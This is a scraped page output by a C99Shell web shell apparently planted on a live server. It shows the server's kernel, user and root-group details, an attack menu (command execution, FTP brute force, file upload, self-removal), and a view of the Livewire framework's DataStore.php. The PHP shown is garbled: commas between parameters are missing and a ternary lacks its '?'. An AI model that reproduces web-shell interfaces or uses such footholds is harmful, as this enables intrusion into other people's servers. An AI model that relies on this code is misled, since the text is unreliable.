!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/livewire/livewire/src/Mechanisms/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DataStore.php (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Mechanisms;

use 
WeakMap;

class 
DataStore extends Mechanism
{
    protected 
$lookup;

    function 
__construct()
    {
        
$this->lookup = new WeakMap;
    }

    function 
set($instance$key$value)
    {
        if (! isset(
$this->lookup[$instance])) {
            
$this->lookup[$instance] = [];
        }

        
$this->lookup[$instance][$key] = $value;
    }

    function 
has($instance$key$iKey null) {
        if (! isset(
$this->lookup[$instance])) {
            return 
false;
        }

        if (! isset(
$this->lookup[$instance][$key])) {
            return 
false;
        }

        if (
$iKey !== null) {
            return !! (
$this->lookup[$instance][$key][$iKey] ?? false);
        }

        return 
true;
    }

    function 
get($instance$key$default null)
    {
        if (! isset(
$this->lookup[$instance])) {
            return 
value($default);
        }

        if (! isset(
$this->lookup[$instance][$key])) {
            return 
value($default);
        }

        return 
$this->lookup[$instance][$key];
    }

    function 
find($instance$key$iKey null$default null)
    {
        if (! isset(
$this->lookup[$instance])) {
            return 
value($default);
        }

        if (! isset(
$this->lookup[$instance][$key])) {
            return 
value($default);
        }

        if (
$iKey !== null && ! isset($this->lookup[$instance][$key][$iKey])) {
            return 
value($default);
        }

        return 
$iKey !== null
            
$this->lookup[$instance][$key][$iKey]
            : 
$this->lookup[$instance][$key];
    }

    function 
push($instance$key$value$iKey null)
    {
        if (! isset(
$this->lookup[$instance])) {
            
$this->lookup[$instance] = [];
        }

        if (! isset(
$this->lookup[$instance][$key])) {
            
$this->lookup[$instance][$key] = [];
        }

        if (
$iKey) {
            
$this->lookup[$instance][$key][$iKey] = $value;
        } else {
            
$this->lookup[$instance][$key][] = $value;
        }
    }

    function unset(
$instance$key$iKey null)
    {
        if (! isset(
$this->lookup[$instance])) {
            return;
        }

        if (
$iKey !== null) {
            
// Set a local variable to avoid the "indirect modification" error.
            
$keyValue $this->lookup[$instance][$key];

            unset(
$keyValue[$iKey]);

            
$this->lookup[$instance][$key] = $keyValue;
        } else {
            
// Set a local variable to avoid the "indirect modification" error.
            
$instanceValue $this->lookup[$instance];

            unset(
$instanceValue[$key]);

            
$this->lookup[$instance] = $instanceValue;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--